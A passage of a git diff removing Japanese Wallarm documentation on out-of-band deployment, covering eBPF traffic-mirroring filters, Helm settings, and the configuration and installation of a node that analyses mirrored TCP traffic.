processing.metrics - -Wallarmノードの[メトリクスサービス](../../../admin-en/configure-statistics-service.md)の設定を制御します。デフォルトではサービスは無効です。 - -サービスを有効にする場合は、`port`、`path`、`scrapeInterval`のデフォルト値を維持することを推奨します。 - -```yaml -processing: - ... - metrics: - enabled: true - port: 9090 - path: /metrics - scrapeInterval: 30s -``` - -## processing.affinityとprocessing.nodeSelector - -Wallarm eBPFのdaemonSetをデプロイするKubernetesノードを制御します。デフォルトでは各ノードにデプロイされます。 - -## 変更の適用 - -`values.yaml`ファイルを変更し、デプロイ済みチャートをアップグレードする場合は、次のコマンドを使用します。 - -``` -helm upgrade wallarm/wallarm-oob -n wallarm-ebpf -f -``` \ No newline at end of file diff --git a/docs/latest-ja/installation/oob/ebpf/selecting-packets.md b/docs/latest-ja/installation/oob/ebpf/selecting-packets.md deleted file mode 100644 index 6843182813..0000000000 --- a/docs/latest-ja/installation/oob/ebpf/selecting-packets.md +++ /dev/null @@ -1,188 +0,0 @@ -# ミラーリング対象の選択 - -[Wallarm eBPFソリューション](deployment.md)はトラフィックミラー上で動作し、トラフィックミラーのスコープを制御できます。Kubernetesのnamespace、pod、container単位でパケットのミラーリングを行うことができます。本ガイドでは、選択プロセスの管理方法を説明します。 - -!!! warning "バージョン4.10に限定" - Wallarm eBPFベースのソリューションは現在、[Wallarm Node 4.10](/4.10/installation/oob/ebpf/deployment/)で利用可能な機能のみをサポートしています。 - -ミラーリング対象のパケットを選択する方法はいくつかあります。 - -* namespaceに`wallarm-mirror`ラベルを付与すると、そのnamespace内のpodのすべてのトラフィックをミラーリングできます。 -* 特定のpodに`mirror.wallarm.com/enabled`アノテーションを付与すると、そのpodのトラフィックをミラーリングできます。 -* Wallarm Helmチャートの`values.yaml`ファイルで`config.agent.mirror.filters`設定を構成します。この設定により、namespace、pod、container、またはnodeレベルでミラーリングを有効化できます。 - -## ラベルを使用したnamespaceのミラーリング - -namespaceレベルでミラーリングを制御するには、対象のKubernetesのnamespaceに`wallarm-mirror`ラベルを付与し、値を`enabled`または`disabled`に設定します。例: - -``` -kubectl label ns wallarm-mirror=enabled -``` - -## アノテーションを使用したpodのミラーリング - -podレベルでミラーリングを制御するには、`mirror.wallarm.com/enabled`アノテーションを使用し、値を`true`または`false`に設定します。例: - -```bash -kubectl patch deployment -n -p '{"spec": {"template":{"metadata":{"annotations":{"mirror.wallarm.com/enabled":"true"}}}} }' -``` - -## `values.yaml`を使用したnamespace、pod、container、またはnodeのミラーリング - -`values.yaml`ファイル内の`config.agent.mirror.filters`ブロックにより、トラフィックミラーリングのレベルをきめ細かく制御できます。この方法では、次の対象のミラーリングを制御できます。 - -* namespace - `filters.namespace`パラメータを使用します -* pod - podのラベルに`filters.pod_labels`、またはpodのアノテーションに`filters.pod_annotations`を使用します -* node - `filters.node_name`パラメータを使用します -* container - `filters.container_name`パラメータを使用します - -### namespaceの選択 - -特定のnamespaceでトラフィックミラーリングを有効化するには、`filters.namespace`パラメータにその名前を指定します。例えば、`my-namespace`というKubernetesのnamespaceでトラフィックミラーリングを有効化するには次のとおりです: - -```yaml -config: - agent: - mirror: - filters: - - namespace: 'my-namespace' -``` - -### podの選択 - -podのラベルやアノテーションによって、トラフィックミラーリング対象のpodを選択できます。方法は次のとおりです。 - -=== "ラベルでpodを選択" - 特定のラベルを持つpodでトラフィックミラーリングを有効化するには、`pod_labels`パラメータを使用します。 - - 例えば、`environment: production`ラベルを持つpodでトラフィックミラーリングを有効化するには次のとおりです: - - ```yaml - config: - agent: - mirror: - filters: - - pod_labels: - environment: 'production' - ``` - - podの特定に複数のラベルが必要な場合は、複数のラベルを指定できます。例えば、次の構成では、`environment: production AND (team: backend OR team: ops)`というラベル条件に一致するpodのトラフィックをWallarm eBPFがミラーリングして解析します: - - ```yaml - config: - agent: - mirror: - filters: - - pod_labels: - environment: 'production' - team: 'backend,ops' - ``` -=== "アノテーションでpodを選択" - 特定のアノテーションを持つpodでトラフィックミラーリングを有効化するには、`pod_annotations`パラメータを使用します。 - - 例えば、`app.kubernetes.io/name: myapp`アノテーションを持つpodでトラフィックミラーリングを有効化するには次のとおりです: - - ```yaml - config: - agent: - mirror: - filters: - - pod_annotations: - app.kubernetes.io/name: 'myapp' - ``` - - podの特定に複数のアノテーションが必要な場合は、複数のアノテーションを指定できます。例えば、次の構成では、以下のアノテーション条件を満たすpodのトラフィックをWallarm eBPFがミラーリングして解析します: - - ``` - app.kubernetes.io/name: myapp AND (app.kubernetes.io/instance: myapp-instance-main OR - app.kubernetes.io/instance: myapp-instance-reserve) - ``` - - ```yaml - config: - agent: - mirror: - filters: - - pod_annotations: - app.kubernetes.io/name: 'myapp' - app.kubernetes.io/instance: 'myapp-instance-main,myapp-instance-reserve' - ``` - -### nodeの選択 - -特定のKubernetesのnodeでトラフィックミラーリングを有効化するには、`filters.node_name`パラメータにnode名を指定します。例えば、`my-node`というKubernetesのnodeでトラフィックミラーリングを有効化するには次のとおりです: - -```yaml -config: - agent: - mirror: - filters: - - node_name: 'my-node' -``` - -### containerの選択 - -特定のKubernetesのcontainerでトラフィックミラーリングを有効化するには、`filters.container_name`パラメータにcontainer名を指定します。例えば、`my-container`というKubernetesのcontainerでトラフィックミラーリングを有効化するには次のとおりです: - -```yaml -config: - agent: - mirror: - filters: - - container_name: 'my-container' -``` - -### 変更の適用 - -`values.yaml`ファイルを変更し、デプロイ済みのチャートをアップグレードしたい場合は、次のコマンドを使用します: - -``` -helm upgrade wallarm/wallarm-oob -n wallarm-ebpf -f -``` - -## ラベル、アノテーション、フィルター間の優先順位 - -複数の選択方法を併用し、上位レベルでミラーリングが有効化されている場合は、下位の設定レベルが優先されます。 - -上位レベルでミラーリングが無効化されている場合は、上位レベルが無効化に関して優先されるため、下位の設定は一切適用されません。 - -同一のオブジェクトが異なる手段（例: Wallarmのpodアノテーションと`values.yaml`のfiltersブロック）でミラーリング対象に選択されている場合は、Wallarmのpodアノテーションが優先されます。 - -## 例 - -ラベル、アノテーション、フィルターは、トラフィックのミラーリングと解析のレベル設定に高い柔軟性を提供します。しかし、これらは互いに重複する場合があります。どのように組み合わせて動作するかを理解するための構成例を以下に示します。 - -### `values.yaml`における多層の構成 - -次の`values.yaml`構成の例です: - -```yaml -config: - agent: - mirror: - filters: - - namespace: "default" - - namespace: 'my-namespace' - pod_labels: - environment: 'production' - team: 'backend,ops' - pod_annotations: - app.kubernetes.io/name: 'myapp' -``` - -設定したフィルターは次のように適用されます: - -``` -namespace: default OR (namespace: my-namespace AND environment: production AND (team: backend -OR team: ops) AND app.kubernetes.io/name: myapp) -``` - -### namespaceラベル、podアノテーション、`values.yaml`フィルターの組み合わせ - -| 構成 | 結果 | -| ------------- | ------ | -|
        • `values.yaml` → `config.agent.mirror.allNamespaces`の値が`true`に設定されており
        • namespaceラベルが`wallarm-mirror=disabled`である
        | そのnamespaceはミラーリングされません | -|
        • namespaceラベルが`wallarm-mirror=enabled`であり
        • podアノテーションが`mirror.wallarm.com/enabled=false`である
        | そのpodはミラーリングされません | -|
        • namespaceラベルが`wallarm-mirror=disabled`であり
        • podアノテーションが`mirror.wallarm.com/enabled=true`である、または他の下位レベルの設定でミラーリングが選択されている
        | そのpodはミラーリングされません | -|
        • namespaceラベルが`wallarm-mirror=disabled`であり
        • 同じnamespaceが`values.yaml` → `config.agent.mirror.filters`で選択されている
        | そのnamespaceはミラーリングされません -|
        • podアノテーションが`mirror.wallarm.com/enabled=false`であり
        • 同じpodが`values.yaml` → `config.agent.mirror.filters`で選択されている
        | そのpodはミラーリングされません \ No newline at end of file diff --git a/docs/latest-ja/installation/oob/overview.md b/docs/latest-ja/installation/oob/overview.md deleted file mode 100644 index c805543a6d..0000000000 --- a/docs/latest-ja/installation/oob/overview.md +++ /dev/null @@ -1,44 +0,0 @@ -# WallarmのOut-of-Bandデプロイメントの概要 - -Wallarmは、トラフィックのミラーを介してリクエストを検査するセルフホストのOut-of-Band（OOB）型セキュリティソリューションとしてデプロイできます。本記事では、このアプローチについて詳しく説明します。 - -OOBアプローチでは、Wallarmソリューションを別のネットワークセグメントに配置し、プライマリのデータパスや、その結果としてのアプリケーションの性能に影響を与えることなく受信トラフィックを検査します。悪意のあるものを含むすべての受信リクエストは、宛先のサーバーに到達します。 - -## ユースケース - -トラフィックミラーリングはOOBアプローチの重要な要素です。受信トラフィックのミラー（コピー）がWallarmのOOBソリューションに送られ、ソリューションは実際のトラフィックではなくコピー上で動作します。 - -OOBソリューションは悪意のあるアクティビティを記録するだけでブロックはしないため、リアルタイム保護の要件がそれほど厳しくない組織におけるWebアプリケーションおよびAPIセキュリティの実装に有効です。OOBソリューションは次のユースケースに適しています。 - -* アプリケーション性能に影響を与えることなく、WebアプリケーションとAPIが遭遇し得る潜在的な脅威をすべて把握します。 -* モジュールを[インライン](../inline/overview.md)で実行する前に、トラフィックのコピーでWallarmソリューションを学習させます。 -* 監査目的でセキュリティログを取得します。Wallarmは多くのSIEMシステムやメッセンジャーなどと[ネイティブ連携](../../user-guides/settings/integrations/integrations-intro.md)を提供します。 - -下の図は、WallarmのOut-of-Bandデプロイメントにおける一般的なトラフィックフローを視覚的に示します。図は考え得るすべてのインフラストラクチャのバリエーションを網羅しているとは限りません。トラフィックのミラーは、インフラストラクチャのサポートされている任意のレイヤーで生成し、Wallarmノードに送信できます。さらに、特定のセットアップでは、ロードバランシングやその他インフラストラクチャレベルの設定が異なる場合があります。 - -## 利点 - -WallarmのデプロイにおけるOOBアプローチには、インラインデプロイメントなど他のデプロイ方法と比べていくつかの利点があります。 - -* セキュリティソリューションがプライマリのデータパスとインラインで動作する際に発生し得る遅延やその他の性能問題を引き起こしません。 -* プライマリのデータパスに影響を与えることなくネットワークにソリューションを追加したり削除したりできるため、柔軟性と展開の容易さを実現します。 - -## 制限事項 - -OOBデプロイメントアプローチは安全ですが、いくつかの制限があります。以下の表に、各デプロイオプションに関連する制限を示します。 - -| 機能 | [eBPF](ebpf/deployment.md) | [TCPミラー](tcp-traffic-mirror/deployment.md) | -| --- | --- | --- | -| 悪意のあるリクエストの即時ブロック | - | - | -| [パッシブ検出](../../about-wallarm/detecting-vulnerabilities.md#passive-detection)を使用した脆弱性の発見 | - | + | -| [API Discovery](../../api-discovery/overview.md) | +（レスポンス構造を除外） | + | -| [強制ブラウジングからの保護](../../admin-en/configuration-guides/protecting-against-bruteforce.md) | + | + | -| [Rate limiting](../../user-guides/rules/rate-limiting.md) | - | - | -| [IP lists](../../user-guides/ip-lists/overview.md) | - | - | - -## サポートされるデプロイオプション - -Wallarmは次のOut-of-Band（OOB）デプロイオプションを提供します。 - -* [eBPFベースのソリューション](ebpf/deployment.md) -* [TCPトラフィックミラー解析](tcp-traffic-mirror/deployment.md)のためのソリューション \ No newline at end of file diff --git a/docs/latest-ja/installation/oob/tcp-traffic-mirror/configuration.md b/docs/latest-ja/installation/oob/tcp-traffic-mirror/configuration.md deleted file mode 100644 index 05fed0a457..0000000000 --- a/docs/latest-ja/installation/oob/tcp-traffic-mirror/configuration.md +++ /dev/null @@ -1,463 +0,0 @@ -# TCPトラフィックミラー解析の設定 - -TCPトラフィックミラー解析用のWallarmノードをデプロイするために作成する設定ファイル（[デプロイ手順](deployment.md)で指定されている`wallarm-node-conf.yaml`）では、デプロイされたソリューションを詳細に調整できます。 - -## 基本設定 - -```yaml -version: 4 - -mode: tcp-capture - -goreplay: - filter: - extra_args: - - -input-raw-engine - - vxlan - -route_config: - wallarm_application: 10 - routes: - - route: /example/api/v1 - wallarm_mode: off - - route: /example/extra_api - wallarm_application: 2 - - route: /example/testing - wallarm_mode: off - -http_inspector: - real_ip_header: "X-Real-IP" - -log: - pretty: true - level: debug - log_file: stderr - access_log: - enabled: true - verbose: true - log_file: stderr -``` - -### mode（必須） - -Wallarmノードの動作モードです。TCPトラフィックミラー解析には`tcp-capture`を指定します。 - -### goreplay.filter - -トラフィックをキャプチャするネットワークインターフェースを指定します。値を指定しない場合、インスタンス上のすべてのネットワークインターフェースからトラフィックをキャプチャします。 - -値はインターフェース名とポートをコロン（`:`）で区切って指定します。例: - -=== "インターフェース:ポート" - ```yaml - version: 4 - - goreplay: - filter: 'eth0:80' - ``` - - 複数のインターフェースやポートからトラフィックをキャプチャするには、`goreplay.filter`に加えて`goreplay.extra_args`を使用します。例: - - ```yaml - version: 4 - - goreplay: - filter: 'eth0:80' - extra_args: - - "-input-raw" - - "eth0:8080" - - "-input-raw" - - "eth0:8081" - - "-input-raw" - - "eth1:80" - ``` - - `filter`はGoReplayに`-input-raw`引数を設定し、`extra_args`で追加の`-input-raw`入力を指定できます。 -=== "インターフェース上の全ポート" - ```yaml - version: 4 - - goreplay: - filter: 'eth0:' - ``` -=== "すべてのインターフェース上の特定のポート" - ```yaml - version: 4 - - goreplay: - filter: ':80' - ``` -=== "すべてのインターフェースとポート" - ```yaml - version: 4 - - goreplay: - filter: ':' - ``` - -ホストで使用可能なネットワークインターフェースを確認するには、次を実行します: - -``` -ip addr show -``` - -### goreplay.extra_args - -このパラメータでは、GoReplayに渡す[追加引数](https://github.com/buger/goreplay/blob/master/docs/Request-filtering.md)を指定できます。 - -* 一般的には、VLANやVXLANなど、解析が必要なミラートラフィックの種類を定義するために使用します。例: - - === "VLANでラップされたミラートラフィック" - ```yaml - version: 4 - - goreplay: - extra_args: - - -input-raw-vlan - - -input-raw-vlan-vid - # 使用するVLANのVID。例: - # - 42 - ``` - === "VXLANでラップされたミラートラフィック（AWSで一般的）" - ```yaml - version: 4 - - goreplay: - extra_args: - - -input-raw-engine - - vxlan - # カスタムVXLAN UDPポート。例: - # - -input-raw-vxlan-port - # - 4789 - # 特定のVNI（デフォルトではすべてのVNIをキャプチャ）。例: - # - -input-raw-vxlan-vni - # - 1 - ``` - - ミラートラフィックがVLANやVXLANなどの追加プロトコルでラップされていない場合、`extra_args`の設定は省略できます。非カプセル化トラフィックはデフォルトで解析されます。 -* 追加のインターフェースやポートをキャプチャするために、`extra_args`で`filter`を拡張できます: - - ```yaml - version: 4 - - goreplay: - filter: 'eth0:80' - extra_args: - - "-input-raw" - - "eth0:8080" - - "-input-raw" - - "eth0:8081" - - "-input-raw" - - "eth1:80" - ``` - - `filter`はGoReplayに`-input-raw`引数を設定し、`extra_args`で追加の`-input-raw`入力を指定できます。 - -### route_config - -特定のルートに対する設定を指定するセクションです。 - -### route_config.wallarm_application - -[WallarmアプリケーションID](../../../user-guides/settings/applications.md)です。この値は特定のルートで上書きできます。 - -### route_config.routes - -ルートごとのWallarm設定を定義します。WallarmモードやアプリケーションIDを含みます。設定例: - -```yaml -version: 4 - -route_config: - wallarm_application: 10 - routes: - - host: example.com - wallarm_application: 1 - routes: - - route: /app2 - wallarm_application: 2 - - host: api.example.com - route: /api - wallarm_application: 100 - - route: /testing - wallarm_mode: off -``` - -#### host - -ルートのホストを指定します。 - -このパラメータはワイルドカードマッチングをサポートします: - -* `*` は区切り文字以外の任意の連続した文字列にマッチします -* `?` は区切り文字以外の任意の1文字にマッチします -* `'[' [ '^' ] { character-range } ']'` - -??? info "ワイルドカードマッチング構文の詳細" - ``` - // パターン構文は次のとおりです: - // - // pattern: - // { term } - // term: - // '*' 区切り文字以外の任意の連続した文字列にマッチ - // '?' 区切り文字以外の任意の1文字にマッチ - // '[' [ '^' ] { character-range } ']' - // 文字クラス（空であってはならない） - // c 文字cにマッチ（c != '*', '?', '\\', '['） - // '\\' c 文字cにマッチ - // - // character-range: - // c 文字cにマッチ（c != '\\', '-', ']'） - // '\\' c 文字cにマッチ - // lo '-' hi lo <= c <= hi の範囲の文字cにマッチ - // - // マッチは部分一致ではなく、名前全体に対してパターンが一致することが必要です。 - ``` - -例: - -```yaml -version: 4 - -route_config: - wallarm_application: 10 - routes: - - host: "*.host.com" -``` - -#### routes.routeまたはroute - -特定のルートを定義します。ルートはNGINX風の接頭辞で設定できます: - -```yaml -- route: [ = | ~ | ~* | ^~ | ]/location - # | | | | ^ プレフィックス（正規表現より低い優先度） - # | | | ^ プレフィックス（正規表現より高い優先度） - # | | ^ re（大文字小文字を区別しない） - # | ^ re（大文字小文字を区別する） - # ^ 完全一致 -``` - -例えば、完全一致のみをマッチさせるには: - -```yaml -- route: =/api/login -``` - -正規表現でルートにマッチさせるには: - -```yaml -- route: ~/user/[0-9]+/login.* -``` - -#### wallarm_application - -[WallarmアプリケーションID](../../../user-guides/settings/applications.md)を設定します。特定のエンドポイントでは`route_config.wallarm_application`を上書きします。 - -#### wallarm_mode - -トラフィックの[フィルタリングモード](../../../admin-en/configure-wallarm-mode.md)です。`monitoring`または`off`を指定します。OOBモードではトラフィックのブロックはサポートされません。 - -デフォルト: `monitoring`。 - -### http_inspector.real_ip_header - -デフォルトでは、WallarmはネットワークパケットのIPヘッダーから送信元IPアドレスを読み取ります。ただし、プロキシやロードバランサーはこれを自分自身のIPに変更することがあります。 - -実クライアントIPを保持するために、これらの中間機器はしばしばHTTPヘッダー（例: `X-Real-IP`、`X-Forwarded-For`）を追加します。`real_ip_header`パラメータは、元のクライアントIPを抽出するために使用するヘッダーをWallarmに指示します。 - -### log.pretty - -エラーログとアクセスログのフォーマットを制御します。人が読みやすい形式にするには`true`、JSONログにするには`false`を設定します。 - -デフォルト: `true`。 - -### log.level - -ログレベルです。`debug`、`info`、`warn`、`error`、`fatal`を指定できます。 - -デフォルト: `info`。 - -### log.log_file - -エラーログの出力先を指定します。`stdout`、`stderr`、またはログファイルへのパスを指定できます。 - -デフォルト: `stderr`。ただし、ノードは`stderr`を`/opt/wallarm/var/log/wallarm/go-node.log`にリダイレクトします。 - -### log.access_log（バージョン0.5.1以降） - -#### enabled - -アクセスログを収集するかどうかを制御します。 - -デフォルト: `true`。 - -#### verbose - -アクセスログ出力に各リクエストの詳細情報を含めるかどうかを制御します。 - -デフォルト: `true`。 - -#### log_file - -アクセスログの出力先を指定します。`stdout`、`stderr`、またはログファイルへのパスを指定できます。 - -デフォルト: `stderr`。ただし、ノードは`stderr`を`/opt/wallarm/var/log/wallarm/go-node.log`にリダイレクトします。 - -設定しない場合は、[`log.log_file`](#loglog_file)の設定が使用されます。 - -## 高度な設定 - -```yaml -version: 4 - -goreplay: - path: /opt/wallarm/usr/bin/gor - -middleware: - parse_responses: true - response_timeout: 5s - -http_inspector: - workers: auto - libdetection_enabled: true - api_firewall_enabled: true - api_firewall_database: /opt/wallarm/var/lib/wallarm-api/2/wallarm_api.db - wallarm_dir: /opt/wallarm/etc/wallarm - shm_dir: /tmp - -postanalytics_exporter: - address: 127.0.0.1:3313 - enabled: true - -log: - proton_log_mask: info@* - -metrics: - enabled: true - listen_address: :9000 - legacy_status: - enabled: true - listen_address: 127.0.0.1:10246 - -health_check: - enabled: true - listen_address: :8080 -``` - -### goreplay.path - -GoReplayバイナリのパスです。通常、このパラメータを変更する必要はありません。 - -デフォルト: `/opt/wallarm/usr/bin/gor`。 - -### middleware.parse_responses - -ミラーされたレスポンスを解析するかどうかを制御します。[脆弱性検出](../../../about-wallarm/detecting-vulnerabilities.md)や[APIディスカバリー](../../../api-discovery/overview.md)など、レスポンスデータに依存するWallarmの機能を有効にします。 - -デフォルトでは`true`です。 - -環境で、Wallarmノードを搭載した対象インスタンスにレスポンスのミラーリングが構成されていることを確認してください。 - -### middleware.response_timeout - -レスポンスを待機する最大時間を指定します。この時間内にレスポンスが受信されない場合、Wallarmのプロセスは該当するレスポンスの待機を停止します。 - -デフォルト: `5s`。 - -### http_inspector.workers - -Wallarmのワーカー数です。 - -デフォルト: `auto`。CPUコア数に合わせてワーカー数が自動設定されます。 - -### http_inspector.libdetection_enabled - -[libdetection](../../../about-wallarm/protecting-against-attacks.md#basic-set-of-detectors)ライブラリを使用してSQLインジェクション攻撃を追加検証するかどうかです。 - -デフォルト: `true`。 - -### http_inspector.api_firewall_enabled - -[API Specification Enforcement](../../../api-specification-enforcement/overview.md)を有効にするかどうかを制御します。この機能を有効化しても、必要なサブスクリプションやWallarm Console UIでの設定の代替にはなりません。 - -デフォルト: `true`。 - -### http_inspector.api_firewall_database - -[API Specification Enforcement](../../../api-specification-enforcement/overview.md)用にアップロードしたAPI仕様を含むデータベースのパスを指定します。このデータベースはWallarm Cloudと同期します。 - -通常、このパラメータを変更する必要はありません。 - -デフォルト: `/opt/wallarm/var/lib/wallarm-api/2/wallarm_api.db`。 - -### http_inspector.wallarm_dir - -ノードの設定ファイル用ディレクトリのパスを指定します。通常、このパラメータを変更する必要はありません。支援が必要な場合は、[Wallarmサポートチーム](mailto:support@wallarm.com)にご連絡ください。 - -デフォルト: `/opt/wallarm/etc/wallarm`。 - -### http_inspector.shm_dir - -HTTPアナライザーの共有ディレクトリです。通常、このパラメータを変更する必要はありません。 - -デフォルト: `/tmp`。 - -### postanalytics_exporter.address - -Wallarmのリクエスト処理で統計的なリクエスト解析を行うpostanalyticsサービスのアドレスを設定します。通常、このパラメータを変更する必要はありません。 - -デフォルト: `127.0.0.1:3313`。 - -Node 0.12.x以前では、このパラメータは[`tarantool_exporter.address`](../../../updating-migrating/what-is-new.md#replacing-tarantool-with-wstore-for-postanalytics)として設定されます。アップグレード時には名称変更が必要です。 - -### postanalytics_exporter.enabled - -postanalyticsサービスを有効にするかどうかを制御します。Wallarmノードはpostanalyticsサービスなしでは動作しないため、このパラメータは`true`に設定する必要があります。 - -デフォルト: `true`。 - -Node 0.12.x以前では、このパラメータは[`tarantool_exporter.enabled`](../../../updating-migrating/what-is-new.md#replacing-tarantool-with-wstore-for-postanalytics)として設定されます。アップグレード時には名称変更が必要です。 - -### log.proton_log_mask - -内部トラフィックのロギング用マスクです。通常、このパラメータを変更する必要はありません。 - -デフォルト: `info@*`。 - -### metrics.enabled - -[Prometheusメトリクス](../../../admin-en/configure-statistics-service.md#usage)を有効にするかどうかを制御します。これを無効にするとWallarmノードが正しく動作しないため、このパラメータは`true`に設定する必要があります。 - -デフォルト: `true`。 - -### metrics.listen_address - -Prometheusメトリクスを公開するアドレスとポートを設定します。これらのメトリクスにアクセスするには`/metrics`エンドポイントを使用します。 - -デフォルト: `:9000`（ポート9000の全ネットワークインターフェース）。 - -### metrics.legacy_status.enabled - -[`/wallarm-status`](../../../admin-en/configure-statistics-service.md#usage)メトリクスサービスを有効にするかどうかを制御します。これを無効にするとWallarmノードが正しく動作しないため、このパラメータは`true`に設定する必要があります。 - -デフォルト: `true`。 - -### metrics.legacy_status.listen_address - -`/wallarm-status`メトリクス（JSON形式）を公開するアドレスとポートを設定します。これらのメトリクスにアクセスするには`/wallarm-status`エンドポイントを使用します。 - -デフォルト: `127.0.0.1:10246`。 - -### health_check.enabled - -ヘルスチェックエンドポイントを有効にするかどうかを制御します。 - -デフォルト: `true`。 - -### health_check.listen_address - -`/live`および`/ready`ヘルスチェックエンドポイントのアドレスとポートを設定します。 - -デフォルト: `:8080`（ポート8080の全ネットワークインターフェース）。 \ No newline at end of file diff --git a/docs/latest-ja/installation/oob/tcp-traffic-mirror/deployment.md b/docs/latest-ja/installation/oob/tcp-traffic-mirror/deployment.md deleted file mode 100644 index 40c5f882b3..0000000000 --- a/docs/latest-ja/installation/oob/tcp-traffic-mirror/deployment.md +++ /dev/null @@ -1,305 +0,0 @@ -# TCPトラフィックミラー解析用ノードのデプロイ - -Wallarmは、TCPトラフィックのミラー解析に特化したフィルタリングノードのデプロイ用アーティファクトを提供します。本ガイドでは、このフォームファクターでWallarmフィルタリングノードをデプロイおよび構成する方法を説明します。 - -## ユースケース - -サポートされている[アウトオブバンドのデプロイオプション](../../supported-deployment-options.md#out-of-band)の中で、本ソリューションは以下のシナリオに推奨されます。 - -* ネットワーク層でミラーされたTCPトラフィックを取得し、その特定のトラフィックを分析するセキュリティソリューションが必要な場合。 -* NGINXベースのデプロイアーティファクトが利用できない、遅い、またはリソース消費が多い場合。この場合、HTTPトラフィックのミラー解析はリソース負荷が高くなり得ます。TCPトラフィックのミラー解析はWebサーバーから独立して動作するため、これらの問題を回避します。 -* レスポンスの解析も行い、レスポンスデータに依存する[脆弱性検出](../../../about-wallarm/detecting-vulnerabilities.md)や[APIディスカバリー](../../../api-discovery/overview.md)などの機能を有効化したい場合。 - -## 仕組み - -このソリューションはアウトオブバンド（OOB）モードで動作し、NGINXのようなWebサーバーとは独立してネットワークインターフェースから直接ミラーされたTCPトラフィックを取得します。取得したトラフィックは解析・再構成され、脅威の有無を分析します。 - -ミラーのターゲットとして機能し、複数のトラフィックソース間をシームレスに切り替えます。VLAN（802.1q）、VXLAN、またはSPANでタグ付けされたトラフィックをサポートします。 - -さらに、レスポンスミラーの解析を有効にし、レスポンスデータに依存するWallarmの機能を提供します。これには[脆弱性検出](../../../about-wallarm/detecting-vulnerabilities.md)、[APIディスカバリー](../../../api-discovery/overview.md)などが含まれます。 - -![!TCPトラフィックミラーの模式図](../../../images/waf-installation/oob/tcp-mirror-analysis.png) - -## 前提条件 - -* [US Cloud](https://us1.my.wallarm.com/)または[EU Cloud](https://my.wallarm.com/)のWallarm Consoleで**Administrator**ロールを持つアカウントへのアクセス。 -* ノードを実行するマシンは以下の条件を満たす必要があります。 - - * Linux OS - * x86_64/ARM64アーキテクチャ - * すべてのコマンドをスーパーユーザー（例: `root`）として実行します。 - * Wallarmインストーラーをダウンロードするために`https://meganode.wallarm.com`への外向き接続が許可されていること - * US Wallarm Cloudで動作するために`https://us1.api.wallarm.com`、EU Wallarm Cloudで動作するために`https://api.wallarm.com`への外向き接続が許可されていること - * 攻撃検出ルールおよび[API仕様](../../../api-specification-enforcement/overview.md)の更新をダウンロードし、また[許可リスト、拒否リスト、グレーリスト](../../../user-guides/ip-lists/overview.md)に登録した国、地域、またはデータセンターの正確なIPを取得するために、以下のIPアドレスへの外向き接続が許可されていること - - --8<-- "../include/wallarm-cloud-ips.md" -* トラフィックとレスポンスのミラーリングが、送信元とターゲットの双方で構成され、用意したインスタンスがミラーターゲットとして選択されている必要があります。トラフィックミラーリングの構成では、特定のプロトコルを許可するなど、環境固有の要件を満たす必要があります。 -* ミラーリングされたトラフィックにはVLAN（802.1q）、VXLAN、またはSPANのタグが付与されている必要があります。 - -## 手順1: Wallarmトークンの準備 - -ノードをインストールするには、Wallarm Cloudにノードを登録するためのトークンが必要です。トークンを準備するには: - -1. [US Cloud](https://us1.my.wallarm.com/settings/api-tokens)または[EU Cloud](https://my.wallarm.com/settings/api-tokens)のWallarm Consoleで、**Settings** → **API tokens**を開きます。 -1. 使用タイプが`Node deployment/Deployment`のAPIトークンを探すか作成します。 -1. このトークンをコピーします。 - -## 手順2: Wallarmインストーラーのダウンロード - -Wallarmは以下のプロセッサ向けのインストールを提供します。 - -* x86_64 -* ARM64 - -Wallarmのインストールスクリプトをダウンロードし、実行可能にするには次のコマンドを使用します。 - -=== "x86_64版" - ```bash - curl -O https://meganode.wallarm.com/native/aio-native-0.17.1.x86_64.sh - chmod +x aio-native-0.17.1.x86_64.sh - ``` -=== "ARM64版" - ```bash - curl -O https://meganode.wallarm.com/native/aio-native-0.17.1.aarch64.sh - chmod +x aio-native-0.17.1.aarch64.sh - ``` - -## 手順3: 設定ファイルの準備 - -インスタンス上に`wallarm-node-conf.yaml`ファイルを作成します。本ソリューションでは、ネットワークインターフェースおよびトラフィック形式（例: VLAN、VXLAN）を特定できるよう適切に構成する必要があります。ファイル内容の例: - -```yaml -version: 4 - -mode: tcp-capture - -goreplay: - filter: 'enp7s0:' - extra_args: - - -input-raw-engine - - vxlan -``` - -[この記事](../../native-node/all-in-one-conf.md)に、サポートされている追加の設定パラメータ一覧があります。 - -### モードの設定（必須） - -TCPトラフィックミラー解析用にソリューションを実行するには、対象のパラメータに`tcp-capture`モードを指定する必要があります。 - -### リッスンするネットワークインターフェースの選択 - -トラフィックをキャプチャするネットワークインターフェースを指定するには: - -1. ホストで利用可能なネットワークインターフェースを確認します。 - - ``` - ip addr show - ``` - -1. `filter`パラメータにネットワークインターフェースを指定します。 - - 値はネットワークインターフェースとポートをコロン（:）で区切った形式である必要があります。フィルターの例は`eth0:`、`eth0:80`、または（すべてのインターフェース上の特定ポートを傍受する）`:80`です。例: - - ```yaml - version: 4 - - mode: tcp-capture - - goreplay: - filter: 'eth0:' - ``` - -### VLANのキャプチャ - -ミラーリングされたトラフィックがVLANでラップされている場合は、追加の引数を指定します。 - -```yaml -version: 4 - -mode: tcp-capture - -goreplay: - filter: - extra_args: - - -input-raw-vlan - - -input-raw-vlan-vid - # VLANのVIDの例: - # - 42 -``` - -### VXLANのキャプチャ - -ミラーリングされたトラフィックがVXLAN（AWSで一般的）でラップされている場合は、追加の引数を指定します。 - -```yaml -version: 4 - -mode: tcp-capture - -goreplay: - filter: - extra_args: - - -input-raw-engine - - vxlan - # カスタムVXLANのUDPポートの例: - # - -input-raw-vxlan-port - # - 4789 - # 特定のVNI（デフォルトではすべてのVNIを捕捉）の例: - # - -input-raw-vxlan-vni - # - 1 -``` - -### 元のクライアントIPとHostヘッダーの特定 - -トラフィックがプロキシやロードバランサーを通過する際、これらが元のクライアントIPアドレスや`Host`ヘッダーを自分自身の値に置き換えることがよくあります。元の情報を保持するため、これらの中間機器は通常、`X-Forwarded-For`、`X-Real-IP`、`X-Forwarded-Host`のようなHTTPヘッダーを追加します。 - -Native Nodeが元のクライアントおよび対象ホストを正しく特定できるようにするには、[`proxy_headers`](../../native-node/all-in-one-conf.md#proxy_headers)設定ブロックを使用します。例: - -```yaml -version: 4 - -mode: tcp-capture - -proxy_headers: - # ルール1: 社内プロキシ - - trusted_networks: - - 10.0.0.0/8 - - 192.168.0.0/16 - original_host: - - X-Forwarded-Host - real_ip: - - X-Forwarded-For - - # ルール2: 外部エッジプロキシ（例: CDN、リバースプロキシ） - - trusted_networks: - - 203.0.113.0/24 - original_host: - - X-Real-Host - real_ip: - - 